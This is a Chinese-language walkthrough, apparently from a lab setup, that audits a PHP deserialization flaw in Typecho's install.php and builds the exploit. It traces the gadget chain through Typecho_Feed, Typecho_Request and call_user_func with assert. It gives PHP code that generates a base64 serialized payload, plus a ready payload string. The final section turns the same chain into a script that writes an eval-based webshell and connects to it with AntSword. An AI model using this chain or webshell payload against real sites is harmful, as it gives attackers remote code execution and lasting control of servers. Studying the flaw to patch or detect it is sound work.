全局搜索unserialize()
文件install.php
第230行
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
-
从cookie中获取参数
__typecho_config
的值 -
经过base64编码和反序列化操作之后赋值给$config
- 此时的$config已经是反序列化后的对象
-
查看get()方法,看数据是否进行了过滤操作
文件Cookie.php
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
$key = self::$_prefix . $key;
- 给 k e y 拼接一个前缀 ‘ key拼接一个前缀` key拼接一个前缀‘_prefix`
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
- 首先判断
$_COOKIE
数组中是否含有$key
(已拼接前缀),如果有则返回$_COOKIE[$key]
,赋值给$value
,如果没有,则进行下一步判断 - 检查
$_POST
数组中是否含有$key
(已拼接前缀),如果有则返回$_POST[$key]
,赋值给$value
,如果没有,则返回$default
的值,赋值给$value
return is_array($value) ? $default : $value;
- 如果
$value
是一个数组则返回默认值$default
- 如果不是则返回从
$_POST
或者$_COOKIE
中获取的值
回到install.php文件
此时需要思考如何让代码执行到反序列化这里
- 方法:添加断点
- 访问文件install.php,看是否存在
1222
- 发现并没有输出,说明上面的某些条件并没有满足
- 向上审计
第59行
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
- 发现是
exit
(终止代码执行),所以我们需保证其继续执行 - 我们需要满足的条件
- 提交finish参数,使其不为空
第64-75行
if (!empty($_GET) || !empty($_POST)) { //判断是否存在非空的GET参数或者POST参数
if (empty($_SERVER['HTTP_REFERER'])) {
exit; // 如果referer头为空,则终止代码执行
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
//将主机信息变为主机+端口的形式
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
//如果referer头中的host为空,或者 请求头中的HOST不等于referer头中的host,则终止代码执行
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
- 为了不终止代码执行,需要满足的条件
- referer头中的host不能为空
- 且请求头中的HOST要与referer头中的host一致
先满足以上条件,看代码能不能执行到断点
-
finish参数不能为空
-
referer头中的host不能为空,且请求头中的HOST要与referer头中的host一致
-
发现并没有到断点,继续审计
- 发现有个if嵌套,其中要执行到反序列化,则需要满足
- finish参数不为空
- 存在config.inc.php文件 (搭建靶场时就已经存在)
- 有参数
__typecho_config
传递进来
因此需要满足的条件有:
- finish参数不能为空
- referer头中的host不能为空,且请求头中的HOST要与referer头中的host一致
- 参数
__typecho_config
存在- 经过上面代码分析可通过cookie或者post传递
- 发现满足以上三个条件之后,代码成功执行到反序列化的地方
- 向下继续审计
第230行
- 发现并没有对
__typecho_config
做过滤 - 参数
__typecho_config
可控
第231行
Typecho_Cookie::delete('__typecho_config');
- 删除
__typecho_config
的 Cookie ? ==> 登出
第232行
$db = new Typecho_Db($config['adapter'], $config['prefix']);
-
$config['adapter']
,$config['prefix']
-
推测此时$config也是一个数组
-
$config=[ 'adapter' => ???, 'prefix' => ??? ]
-
查看类Typecho_Db
Db.php
第17-105行
定义了有关数据库的操作对象,包括读、写、增删改查等基础操作
而其中也定义了
//数据库适配器@var Typecho_Db_Adapter
private $_adapter;
// 默认配置@access private @var Typecho_Config
private $_config;
//前缀 @access private @var string
private $_prefix;
//适配器名称 @access private @var string
private $_adapterName;
//实例化的数据库对象 @var Typecho_Db
private static $_instance;
以及数据库类构造函数
/**
* 数据库类构造函数
*
* @param mixed $adapterName 适配器名称
* @param string $prefix 前缀
* @throws Typecho_Db_Exception
*/
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
... ...
}
public function __construct($adapterName, $prefix = 'typecho_')
-
__construct
,当创建对象时调用该方法 -
参数
$adapterName
==>适配器名称 字符串 -
$prefix
= ‘typecho_’ 指定默认前缀 -
ps:在install.php第232行调用
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
- 其中 a d a p t e r N a m e 为 ‘ T y p e c h o D b A d a p t e r ‘ 与 adapterName为`Typecho_Db_Adapter_`与 adapterName为‘TypechoDbAdapter‘与adapterName拼接后的结果
- 这种情况下的话
$adapterName
最后就是字符串
此时需要思考
- 最后拼接的结果是字符串,且并没有对
$adapterName
做过滤,那么魔术方法_toString()
可能起到作用 - 而
$adapterName
是一个对象的话就会调用魔术方法__toString()
- 所以需要想办法传入一个对象
- 条件:有一个类,且包含
__toString()
- 条件:有一个类,且包含
全局搜索__toString()方法
- 审计后发现Config.php文件序列化之后直接结束
- 而Query.php文件只是预定义了一些sql语句
- 查看Feed.php
文件Feed.php
第290行
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
$item['author']->screenName
$item['author']
调用了属性screenName
- 说明
$item['author']
就是我们想要找的对象
- 说明
- 而这里调用了属性
screenName
,可以联想到另外一个魔术方法__get()
- 但是要保证
screenName
在某一个类中不存在,或者为private,protected
- 但是要保证
全局搜索__get()方法
文件Client.php
public function __get($prefix){
return new IXR_Client($this->server, $this->path, $this->port, $this->useragent, $this->prefix . $prefix . '.');
}
- 通过查看类
IXR_Client
后发现,是处理客户端的文件 - 暂时没有找到可控的参数
文件Config.php
/** 魔术函数获取一个配置值
*
* @access public
* @param string $name 配置名称
* @return mixed
*/
public function __get($name){
return isset($this->_currentConfig[$name]) ? $this->_currentConfig[$name] : NULL;
}
- 检查在
_currentConfig
中是否存在$name
的对应的值
文件Date.php
public function __get($name)
{
switch ($name) {
case 'year':
return date('Y', $this->timeStamp);
case 'month':
return date('m', $this->timeStamp);
case 'day':
return date('d', $this->timeStamp);
default:
return;
}
- 一个定义时间格式的文件
文件Plugin.php
/**
* 通过魔术函数设置当前组件位置
*
* @access public
* @param string $component 当前组件
* @return Typecho_Plugin
*/
public function __get($component){
$this->_component = $component;
return $this;
}
- 将参数
$component
赋值给成员变量_component
文件Request.php
/**
* 获取实际传递参数(magic)
*
* @access public
* @param string $key 指定参数
* @return mixed
*/
public function __get($key){
return $this->get($key);
}
- 获取实际传递参数的方法,可能可控,继续审计
- 将变量$key传递给了get方法
- 查看get方法
第293-306行
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
- 通过switch条件语句进行判断,其中
_params
为数组,私有属性 (第25行定义)- 如果
$key
的键在_params
数组中存在,则将对应的值赋给$value
- 如果
$this->_params
数组中不存在以$key
为键的元素,但self::$_httpParams[$key]
存在,那么$value
将被设置为self::$_httpParams[$key]
- 如果都不满足则给
$value
设置为默认值$default
- 如果
第307-308行
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
- 对
v
a
l
u
e
进行判断,如果
value进行判断,如果
value进行判断,如果value不是数组并且长度>0,那么原样输出$value值,最后交给
_applyFilter
- 否则将
d
e
f
a
u
l
t
的值赋给
default的值赋给
default的值赋给value再交给
_applyFilter
- 查看
_applyFilter
- 发现是类
Typecho_Request
中的一个方法
- 发现是类
第159-171行
private function _applyFilter($value)
{
if ($this->_filter) { //是否存在数组$this->_filter
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
- 其中
$this->_filter
是一个数组,私有属性(第120行定义) - 如果该数组存在,则遍历该数组
- 如果
$value
为数组的话,则使用方法array_map,否则使用方法call_user_func - 最后将处理过后的值赋给$value,并返回
思考
-
get方法传入 k e y 的处理过程中 , 并没有对 ∗ ∗ key的处理过程中,并没有对** key的处理过程中,并没有对∗∗key做过滤,就直接赋值给的$value**
-
并且对$value值也只进行了是否是数组的判断
-
结合最开始的注释,可以推测,如果
$key
参数可以控制的话,那么它的值就应该为,我们想要的参数screenName
,只要保证其为private或者protected属性即可 -
而最终我们想要传入的值应该是字符串而不是数组,所以在经过判断之后就应该使用函数call_user_func
-
所以如果我们让 f i l t e r = a s s e r t , filter=assert, filter=assert,value=phpinfo(); 就可以造成代码执行漏洞
构造payload
思路整理:
找unserialize() → 找__toString() → 找__get → 找get()
条件:
找unserialize()
-
finish参数不能为空
-
referer头中的host不能为空,且请求头中的HOST要与referer头中的host一致
-
参数
__typecho_config
存在- 经过上面代码分析可通过cookie或者post传递
-
$config是一个数组,数组中的 adapter 是一个对象
-
构造
$config =[ 'adapter' => ???, 'prefix' => typecho_ ];
-
找__toString()
-
$adapterName必须为一个类中的对象 ==》找到类Typecho_Feed
-
构造
<?php class Typecho_Feed{ }
-
-
对象 ==》
$item['author']
-
但是需要满足以下条件才能执行到
$item['author']
这里else if (self::*RSS2* == $this->_type)
foreach ($this->_items as $item)
,定义数组$this->_items
-
构造
<?php class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct(){ $this->_type='RSS 2.0'; } }
-
-
确定遍历数组时
$item
内部的参数-
title、link、date、author
-
其中author是我们想要的
-
由于
$this->_items as $item
,即 i t e m 被数组 ‘ item被数组` item被数组‘this->_items`包含- 所以可以把
_items
数组里面的第一个元素给$item
数组
- 所以可以把
-
构造
<?php class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct(){ $this->_type='RSS 2.0'; $this->_items[0]=array( 'title' => 'test', 'link' => '11111', 'date'=>'1111', 'author'=> ? //(与__get()相关) ); } }
-
找__get()
-
$item['author']->screenName
==》__get()方法 ==》找到类 Typecho_Request-
构造
<?php class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct(){ $this->_type='RSS 2.0'; $this->_items[0]=array( 'title' => 'test', 'link' => '11111', 'date'=>'1111', 'author'=> new Typecho_Request() ); } } class Typecho_Request{ }
-
找get()
-
通过
_params
数组传递参数screenName
==》$value -
设置参数
screenName
==》_applyFilter
方法 ==》 函数call_user_func ==》还需设置**$filter** ==》使用数组__filter
-
构造
<?php class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct(){ $this->_type='RSS 2.0'; $this->_items[0]=array( 'title' => 'test', 'link' => '11111', 'date'=>'1111', 'author'=> new Typecho_Request() ); } } class Typecho_Request{ private $_params = array( 'screenName' => 'phpinfo();' ); private $_filter = array( 'assert' ); }
-
-
最后拼接**$config**,进行序列化和base64编码
-
构造
<?php class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct(){ $this->_type='RSS 2.0'; $this->_items[0]=array( 'title' => 'test', 'link' => 11111, 'date' => 1111, 'author' => new Typecho_Request() ); } } class Typecho_Request{ private $_params = array( 'screenName' => 'die(phpinfo());' ); private $_filter = array( 'assert' ); } $config =[ 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ]; $data = serialize($config); $data = base64_encode($data); echo $data;
-
获取$data值 ==> 提交的payload
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo0OntzOjU6InRpdGxlIjtzOjQ6InRlc3QiO3M6NDoibGluayI7aToxMjMxMjtzOjQ6ImRhdGUiO2k6MjAyMztzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxNToiZGllKHBocGluZm8oKSk7Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ
抓包修改对应参数,成功
写马
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type='RSS 2.0';
$this->_items[0]=array(
'title' => 'test',
'link' => 11111,
'date' => 1111,
'author' => new Typecho_Request()
);
}
}
class Typecho_Request{
private $_params = array(
'screenName' => 'die(file_put_contents("shell.php","<?php
eval(\$_REQUEST[6]);?>"));'
);
private $_filter = array(
'assert'
);
}
$config =[
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
];
$data = serialize($config);
$data = base64_encode($data);
echo $data;
- 获取webshell,蚁剑连接